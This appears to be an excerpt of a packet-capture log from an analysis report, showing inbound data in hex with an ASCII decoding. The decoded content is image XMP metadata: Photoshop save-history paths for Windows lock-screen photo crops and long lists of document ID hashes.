2022-07-20 13:44:17 UTC	1765	IN	Data Raw: 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 41 6e 64 72 6f 69 64 4c 61 75 6e 63 68 65 72 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 2d 41 6e 64 72 6f 69 64 4c 61 75 6e 63 68 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 32 35 39 31 38 32 38 32 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 34 54 31 36 3a 32 34 3a 34 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 41 6e 64 72 6f 69 64 4c 61 75 6e 63 68 65 72 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 2d 41 6e 64 72 6f 69 64 4c 61 75 6e 63 68 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 33 31 35 35 30 35 35 34 Data Ascii: ows10\Microsoft\AndroidLauncher\CHOSEN\Crops\MS-AndroidLauncher_GettyImages-125918282_1920x1080.psd saved 2017-12-14T16:24:49-08:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\AndroidLauncher\CHOSEN\Crops\MS-AndroidLauncher_GettyImages-531550554
2022-07-20 13:44:17 UTC	1828	IN	Data Raw: 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 46 65 62 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 37 36 36 38 35 31 35 35 37 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 32 34 54 31 37 3a 32 39 3a 35 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 69 6e 74 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 46 65 62 32 30 31 38 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 46 65 62 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 35 38 38 32 36 36 31 35 39 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 Data Ascii: CHOSEN\Crops\MIT-WinterEntFeb_GettyImages-766851557_1920x1080.jpg saved 2018-01-24T17:29:50-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WinterEntertainment\Feb2018\CHOSEN\Crops\MIT-WinterEntFeb_shutterstock_588266159_1920x1080.jpg save
2022-07-20 13:44:17 UTC	1884	IN	Data Raw: 3a 35 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 68 69 6e 61 5c 50 69 70 61 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 43 68 69 6e 61 2d 50 69 70 61 5f 41 6c 61 6d 79 2d 44 48 36 58 54 52 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 30 38 54 31 33 3a 35 31 3a 34 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 68 69 6e 61 5c 50 69 70 61 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 43 68 69 6e 61 2d 50 69 70 61 5f 41 6c 61 6d 79 2d 44 48 36 58 54 52 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 Data Ascii: :53-08:00 File C:\Users\v-lizagh\MS\Windows10\China\Pipa\CHOSEN\Crops\China-Pipa_Alamy-DH6XTR_1920x1080.psd saved 2018-02-08T13:51:48-08:00 File C:\Users\v-lizagh\MS\Windows10\China\Pipa\CHOSEN\Crops\China-Pipa_Alamy-DH6XTR_1920x1080.jpg saved
2022-07-20 13:44:17 UTC	2202	IN	Data Raw: 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 44 36 31 35 44 35 46 38 38 34 42 44 42 39 37 46 39 38 46 38 45 42 46 31 42 32 46 36 35 39 33 35 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 31 35 54 30 31 3a 32 31 3a 33 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 54 72 61 76 65 6c 2d 55 4b 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 54 72 61 76 65 6c 2d 55 4b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 35 35 31 34 38 33 36 Data Ascii: dobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_LandscapeD615D5F884BDB97F98F8EBF1B2F65935.psb saved 2018-03-15T01:21:32-07:00 File C:\Users\v-lizagh\MS\Windows10\MIT-International\Travel-UK\_CHOSEN\Crops\MIT-Travel-UK_GettyImages-15514836
2022-07-20 13:44:17 UTC	2250	IN	Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 30 35 37 33 43 42 33 35 38 43 34 44 44 31 39 39 36 35 33 39 41 39 45 32 39 39 31 38 39 31 41 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 35 37 37 33 34 34 46 39 30 42 32 41 41 42 44 32 43 33 32 31 41 45 32 31 37 46 43 34 30 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 35 37 44 44 32 38 31 33 30 44 37 45 46 36 37 34 30 38 43 44 34 35 38 42 41 46 30 30 31 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 35 37 46 46 39 35 45 42 39 32 41 44 44 42 45 31 37 35 30 32 41 31 33 41 46 34 39 44 39 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 35 38 35 36 34 41 43 42 32 36 34 31 45 42 38 36 42 39 33 35 38 37 34 33 43 44 32 45 45 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 Data Ascii: > <rdf:li>0573CB358C4DD1996539A9E2991891AE</rdf:li> <rdf:li>0577344F90B2AABD2C321AE217FC403A</rdf:li> <rdf:li>057DD28130D7EF67408CD458BAF00149</rdf:li> <rdf:li>057FF95EB92ADDBE17502A13AF49D944</rdf:li> <rdf:li>058564ACB2641EB86B9358743CD2EE7F</rdf:li> <rd
2022-07-20 13:44:17 UTC	2393	IN	Data Raw: 3c 72 64 66 3a 6c 69 3e 30 43 31 43 37 33 35 33 43 41 30 37 41 34 44 38 34 30 30 39 41 39 31 32 39 38 42 42 46 37 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 31 46 44 46 34 38 32 32 44 45 33 39 41 36 36 41 33 43 36 32 31 32 36 33 45 36 45 39 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 32 33 44 33 42 35 32 39 46 42 32 44 46 36 42 35 46 30 36 31 32 45 46 46 41 37 43 42 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 33 30 39 30 38 37 38 38 38 30 33 42 38 43 30 37 36 32 32 33 30 31 33 32 31 43 35 44 43 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 34 45 32 30 45 44 35 43 42 41 43 36 45 32 36 32 43 37 41 36 43 44 38 39 45 38 43 45 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: <rdf:li>0C1C7353CA07A4D84009A91298BBF788</rdf:li> <rdf:li>0C1FDF4822DE39A66A3C621263E6E95B</rdf:li> <rdf:li>0C23D3B529FB2DF6B5F0612EFFA7CB7F</rdf:li> <rdf:li>0C30908788803B8C07622301321C5DC3</rdf:li> <rdf:li>0C4E20ED5CBAC6E262C7A6CD89E8CEE5</rdf:li> <rdf:
2022-07-20 13:44:17 UTC	2449	IN	Data Raw: 41 44 32 32 45 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 39 31 36 46 35 30 37 36 31 34 45 32 35 38 33 38 30 46 38 43 33 39 35 31 44 34 46 32 44 45 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 39 32 43 37 37 43 45 38 38 38 30 43 36 30 33 39 43 42 30 43 39 43 36 43 39 31 42 31 37 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 39 33 33 34 45 42 37 43 37 31 39 39 46 45 37 34 41 35 39 32 46 38 36 43 30 41 31 38 42 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 39 33 33 43 33 42 37 33 43 35 36 42 46 42 33 39 36 39 39 42 46 45 43 39 44 46 30 46 31 42 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 39 35 35 42 39 45 39 37 39 36 46 32 38 33 36 38 42 37 34 39 34 30 44 30 43 33 46 41 36 38 Data Ascii: AD22E2</rdf:li> <rdf:li>1916F507614E258380F8C3951D4F2DE7</rdf:li> <rdf:li>192C77CE8880C6039CB0C9C6C91B173D</rdf:li> <rdf:li>19334EB7C7199FE74A592F86C0A18B1C</rdf:li> <rdf:li>1933C3B73C56BFB39699BFEC9DF0F1B6</rdf:li> <rdf:li>1955B9E9796F28368B74940D0C3FA68
2022-07-20 13:44:17 UTC	2465	IN	Data Raw: 30 45 34 35 43 44 45 35 41 30 31 41 43 35 35 32 39 38 34 32 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 37 31 31 34 41 34 32 32 32 41 31 37 32 34 37 32 34 33 46 31 38 31 35 46 38 42 31 44 33 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 37 31 36 32 45 33 46 34 36 36 46 32 37 30 36 37 31 34 45 44 37 45 38 37 44 44 46 38 35 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 37 31 42 46 36 31 39 46 33 45 36 38 45 37 38 30 39 46 35 34 35 42 38 46 45 34 41 44 42 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 37 32 43 41 31 34 39 41 33 32 31 36 42 43 42 33 38 39 39 31 41 42 37 42 34 34 35 35 42 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 37 35 44 37 44 45 45 38 31 42 42 35 30 34 Data Ascii: 0E45CDE5A01AC552984211</rdf:li> <rdf:li>27114A4222A17247243F1815F8B1D351</rdf:li> <rdf:li>27162E3F466F2706714ED7E87DDF85D0</rdf:li> <rdf:li>271BF619F3E68E7809F545B8FE4ADBFC</rdf:li> <rdf:li>272CA149A3216BCB38991AB7B4455B39</rdf:li> <rdf:li>275D7DEE81BB504
2022-07-20 13:44:17 UTC	2552	IN	Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 43 35 45 34 38 33 42 32 46 31 34 33 37 36 37 33 43 37 39 31 41 44 45 39 39 41 45 43 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 43 42 37 32 43 32 35 37 43 35 35 30 31 37 38 45 41 37 33 41 38 34 44 38 31 42 45 36 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 44 39 45 42 35 43 39 32 42 32 43 35 38 36 33 36 46 34 32 43 33 42 46 43 45 37 35 43 31 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 44 46 31 33 36 33 35 45 38 33 46 32 43 44 37 38 31 38 34 44 38 42 41 37 37 39 41 34 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 43 45 31 36 31 41 32 39 44 45 45 35 32 41 45 33 32 30 45 38 35 37 31 32 45 37 41 46 38 44 34 3c 2f 72 64 66 3a Data Ascii: /rdf:li> <rdf:li>2CC5E483B2F1437673C791ADE99AEC49</rdf:li> <rdf:li>2CCB72C257C550178EA73A84D81BE6C4</rdf:li> <rdf:li>2CD9EB5C92B2C58636F42C3BFCE75C10</rdf:li> <rdf:li>2CDF13635E83F2CD78184D8BA779A475</rdf:li> <rdf:li>2CE161A29DEE52AE320E85712E7AF8D4</rdf:
2022-07-20 13:44:17 UTC	2568	IN	Data Raw: 42 33 31 30 39 38 31 41 30 44 36 45 33 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 41 37 41 38 39 36 34 42 41 42 37 41 45 30 39 36 36 45 34 44 37 35 35 39 32 35 45 46 36 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 41 38 30 32 43 43 45 35 42 43 39 30 37 39 32 33 41 42 36 34 34 42 37 41 45 39 33 45 44 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 41 38 32 46 35 38 35 31 42 33 42 38 31 38 35 34 37 39 34 37 34 32 39 32 33 46 43 41 37 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 41 38 34 36 41 43 44 46 38 34 41 38 30 43 37 30 45 44 41 30 36 46 39 31 41 43 34 31 39 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 41 38 34 43 30 38 34 35 35 35 35 37 33 31 33 41 35 36 30 35 34 Data Ascii: B310981A0D6E302</rdf:li> <rdf:li>3A7A8964BAB7AE0966E4D755925EF638</rdf:li> <rdf:li>3A802CCE5BC907923AB644B7AE93ED53</rdf:li> <rdf:li>3A82F5851B3B81854794742923FCA7C8</rdf:li> <rdf:li>3A846ACDF84A80C70EDA06F91AC4197D</rdf:li> <rdf:li>3A84C08455557313A56054
2022-07-20 13:44:17 UTC	2625	IN	Data Raw: 37 30 41 41 38 45 39 45 44 31 31 30 30 36 37 32 36 38 34 36 33 33 44 30 36 41 43 43 38 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 31 38 45 35 44 35 36 36 30 35 31 43 46 43 33 39 38 31 30 44 35 42 36 37 41 42 46 44 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 32 33 45 35 41 39 32 36 44 41 37 33 45 37 39 37 45 36 42 32 30 45 37 44 36 34 38 38 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 32 42 46 45 41 46 30 31 38 32 41 38 38 46 45 43 42 44 36 44 35 36 41 39 30 32 41 37 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 33 31 41 38 33 37 43 44 45 33 41 30 44 43 45 38 31 37 46 31 36 43 31 33 34 38 36 38 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 33 34 45 32 Data Ascii: 70AA8E9ED1100672684633D06ACC808</rdf:li> <rdf:li>4718E5D566051CFC39810D5B67ABFD14</rdf:li> <rdf:li>4723E5A926DA73E797E6B20E7D648844</rdf:li> <rdf:li>472BFEAF0182A88FECBD6D56A902A7B3</rdf:li> <rdf:li>4731A837CDE3A0DCE817F16C134868C8</rdf:li> <rdf:li>4734E2
2022-07-20 13:44:17 UTC	2711	IN	Data Raw: 30 31 35 39 30 33 31 33 30 33 34 33 30 44 36 46 35 39 46 46 32 44 38 41 43 30 33 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 38 31 32 32 37 36 41 32 33 32 42 31 37 33 45 30 35 38 46 43 39 45 31 34 36 37 35 42 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 38 41 44 44 45 39 38 33 45 45 43 30 31 32 38 44 41 36 32 38 30 34 42 34 34 37 35 38 39 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 39 31 41 43 44 31 44 35 35 30 43 34 46 45 36 38 37 46 36 44 43 30 45 34 45 43 44 33 35 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 41 36 35 45 38 34 42 45 45 37 36 43 46 35 31 44 37 46 37 38 41 36 39 36 37 31 43 31 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 42 34 31 44 31 37 Data Ascii: 0159031303430D6F59FF2D8AC03F5</rdf:li> <rdf:li>4D812276A232B173E058FC9E14675BD9</rdf:li> <rdf:li>4D8ADDE983EEC0128DA62804B447589C</rdf:li> <rdf:li>4D91ACD1D550C4FE687F6DC0E4ECD357</rdf:li> <rdf:li>4DA65E84BEE76CF51D7F78A69671C19A</rdf:li> <rdf:li>4DB41D17
2022-07-20 13:44:17 UTC	2815	IN	Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 41 45 38 45 30 44 32 35 34 41 36 45 34 33 44 38 46 43 41 42 36 34 43 42 39 37 36 31 32 46 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 41 46 35 38 39 39 30 35 44 43 34 43 44 34 30 37 39 38 33 41 34 41 39 45 34 30 44 39 46 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 42 30 46 31 36 31 32 39 35 43 33 37 38 39 44 35 45 41 30 35 44 37 38 36 42 30 38 42 45 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 42 31 35 35 42 37 42 41 46 39 36 36 35 44 41 34 42 37 41 44 45 44 36 34 41 30 41 31 32 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 42 31 37 35 45 37 43 46 33 44 44 45 35 35 39 38 41 33 43 37 33 43 31 34 44 30 45 33 39 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 Data Ascii: :li> <rdf:li>5AE8E0D254A6E43D8FCAB64CB97612F4</rdf:li> <rdf:li>5AF589905DC4CD407983A4A9E40D9FEE</rdf:li> <rdf:li>5B0F161295C3789D5EA05D786B08BE55</rdf:li> <rdf:li>5B155B7BAF9665DA4B7ADED64A0A125D</rdf:li> <rdf:li>5B175E7CF3DDE5598A3C73C14D0E390E</rdf:li>
2022-07-20 13:44:17 UTC	2831	IN	Data Raw: 3c 72 64 66 3a 6c 69 3e 36 39 37 36 46 31 35 46 46 44 42 31 46 46 39 37 42 33 34 43 38 35 33 35 36 42 37 36 32 35 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 37 44 43 32 38 34 31 35 41 36 46 37 46 35 35 38 35 44 45 35 31 41 38 45 36 44 35 37 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 38 31 30 43 35 38 39 45 33 46 32 46 35 38 42 35 44 45 38 41 33 31 38 43 30 44 35 41 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 39 32 38 30 46 45 44 30 32 34 33 37 30 35 44 46 36 46 32 32 41 37 38 43 42 35 30 41 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 39 39 37 31 31 31 42 45 30 33 36 38 35 42 45 36 38 32 31 33 30 46 39 31 33 32 35 34 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: <rdf:li>6976F15FFDB1FF97B34C85356B7625D8</rdf:li> <rdf:li>697DC28415A6F7F5585DE51A8E6D5713</rdf:li> <rdf:li>69810C589E3F2F58B5DE8A318C0D5A0E</rdf:li> <rdf:li>699280FED0243705DF6F22A78CB50A0E</rdf:li> <rdf:li>69997111BE03685BE682130F91325479</rdf:li> <rdf:
2022-07-20 13:44:17 UTC	2878	IN	Data Raw: 64 66 3a 6c 69 3e 37 30 33 34 31 36 41 39 45 45 30 30 39 34 42 44 41 46 42 36 43 38 46 42 32 31 41 37 32 32 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 36 30 41 38 37 42 42 42 31 36 35 38 38 33 35 43 43 41 38 42 37 41 43 30 43 45 31 33 45 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 36 42 44 46 30 41 31 36 34 45 36 46 30 44 32 37 41 30 44 37 31 31 37 33 43 32 38 41 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 37 37 42 34 36 38 31 42 34 45 32 38 36 38 39 46 36 41 32 41 31 36 31 30 36 43 45 46 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 39 37 42 44 38 31 38 42 44 34 44 46 45 31 38 37 30 38 46 41 38 39 37 34 44 46 41 36 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 Data Ascii: df:li>703416A9EE0094BDAFB6C8FB21A7223D</rdf:li> <rdf:li>7060A87BBB1658835CCA8B7AC0CE13ED</rdf:li> <rdf:li>706BDF0A164E6F0D27A0D71173C28A00</rdf:li> <rdf:li>7077B4681B4E28689F6A2A16106CEF0E</rdf:li> <rdf:li>7097BD818BD4DFE18708FA8974DFA679</rdf:li> <rdf:li
2022-07-20 13:44:17 UTC	2970	IN	Data Raw: 36 44 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 45 43 36 33 38 45 33 42 38 36 46 33 33 39 31 32 43 43 42 42 35 43 45 34 45 34 33 42 35 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 45 44 42 45 41 34 37 41 36 45 42 43 34 32 34 39 35 31 33 38 46 39 36 46 31 44 46 42 43 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 45 45 44 38 33 38 32 41 31 41 36 31 45 38 43 45 44 41 34 45 37 41 44 38 46 31 32 39 44 46 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 45 46 30 38 33 35 46 43 34 43 37 45 30 36 45 46 31 33 41 36 30 46 45 45 39 43 37 39 31 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 45 46 36 32 31 37 33 46 35 43 31 33 32 31 30 33 43 30 31 38 32 32 43 37 32 43 41 46 37 44 42 3c Data Ascii: 6D69</rdf:li> <rdf:li>7EC638E3B86F33912CCBB5CE4E43B528</rdf:li> <rdf:li>7EDBEA47A6EBC42495138F96F1DFBC81</rdf:li> <rdf:li>7EED8382A1A61E8CEDA4E7AD8F129DF0</rdf:li> <rdf:li>7EF0835FC4C7E06EF13A60FEE9C791CA</rdf:li> <rdf:li>7EF62173F5C132103C01822C72CAF7DB<
2022-07-20 13:44:17 UTC	2993	IN	Data Raw: 33 37 34 37 34 42 31 39 34 44 30 43 45 37 30 45 38 44 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 41 44 30 34 46 45 41 43 31 44 45 30 32 45 38 37 33 35 33 41 39 34 31 34 44 35 41 35 34 32 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 41 44 46 30 36 45 38 30 31 46 38 32 34 32 42 43 45 38 45 35 44 31 45 46 45 43 37 39 37 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 41 46 30 31 39 36 42 37 34 34 37 37 39 37 46 43 32 42 30 35 46 37 42 42 30 42 31 34 41 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 41 46 32 43 45 41 42 32 31 43 30 37 33 37 37 36 38 37 30 31 45 42 38 30 34 45 42 41 44 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 41 46 38 37 37 34 38 36 38 43 45 38 33 33 37 36 Data Ascii: 37474B194D0CE70E8D65</rdf:li> <rdf:li>8AD04FEAC1DE02E87353A9414D5A542E</rdf:li> <rdf:li>8ADF06E801F8242BCE8E5D1EFEC797D7</rdf:li> <rdf:li>8AF0196B7447797FC2B05F7BB0B14A08</rdf:li> <rdf:li>8AF2CEAB21C0737768701EB804EBAD14</rdf:li> <rdf:li>8AF8774868CE83376
2022-07-20 13:44:17 UTC	3041	IN	Data Raw: 43 32 38 45 37 33 34 30 44 35 38 33 46 39 44 43 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 34 36 43 37 35 30 41 39 42 30 46 32 36 30 39 35 46 46 34 45 38 42 44 35 38 46 42 38 36 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 35 46 36 33 31 43 35 31 46 38 31 41 35 36 38 35 43 33 44 41 44 39 43 41 45 42 39 31 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 37 46 31 46 42 36 38 45 45 45 44 39 39 44 44 43 37 44 32 39 43 33 37 45 31 45 32 36 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 39 34 41 30 41 32 36 39 31 31 34 37 33 37 34 43 38 43 31 36 43 46 33 39 31 38 32 45 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 41 33 32 39 34 35 32 36 33 42 41 37 43 43 33 38 31 Data Ascii: C28E7340D583F9DC3A</rdf:li> <rdf:li>9246C750A9B0F26095FF4E8BD58FB86A</rdf:li> <rdf:li>925F631C51F81A5685C3DAD9CAEB9138</rdf:li> <rdf:li>927F1FB68EEED99DDC7D29C37E1E269A</rdf:li> <rdf:li>9294A0A2691147374C8C16CF39182E7F</rdf:li> <rdf:li>92A32945263BA7CC381
2022-07-20 13:44:17 UTC	3129	IN	Data Raw: 30 43 36 46 31 36 44 34 39 39 41 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 30 33 34 45 32 37 42 31 32 43 33 45 34 42 30 41 34 35 37 44 41 35 34 42 32 46 31 42 45 38 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 30 36 42 30 32 41 37 39 46 34 31 36 33 38 43 37 44 46 44 35 37 42 34 42 42 35 39 38 32 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 30 36 45 32 41 38 36 35 34 37 37 44 37 37 35 38 30 37 33 32 43 36 34 43 35 43 46 32 39 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 30 37 38 36 45 41 33 32 32 35 42 35 30 35 39 38 34 30 44 44 35 30 33 33 30 38 45 34 35 45 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 30 38 32 42 44 39 41 30 36 32 30 39 32 30 36 33 46 34 31 34 31 33 38 Data Ascii: 0C6F16D499ACA</rdf:li> <rdf:li>A034E27B12C3E4B0A457DA54B2F1BE8E</rdf:li> <rdf:li>A06B02A79F41638C7DFD57B4BB598263</rdf:li> <rdf:li>A06E2A865477D77580732C64C5CF29A6</rdf:li> <rdf:li>A0786EA3225B5059840DD503308E45E1</rdf:li> <rdf:li>A082BD9A062092063F414138
